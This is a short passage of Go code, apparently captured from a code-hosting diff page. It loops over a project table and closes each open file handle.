for _, f := range w.projectTable {
|
||||
if f != nil {
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user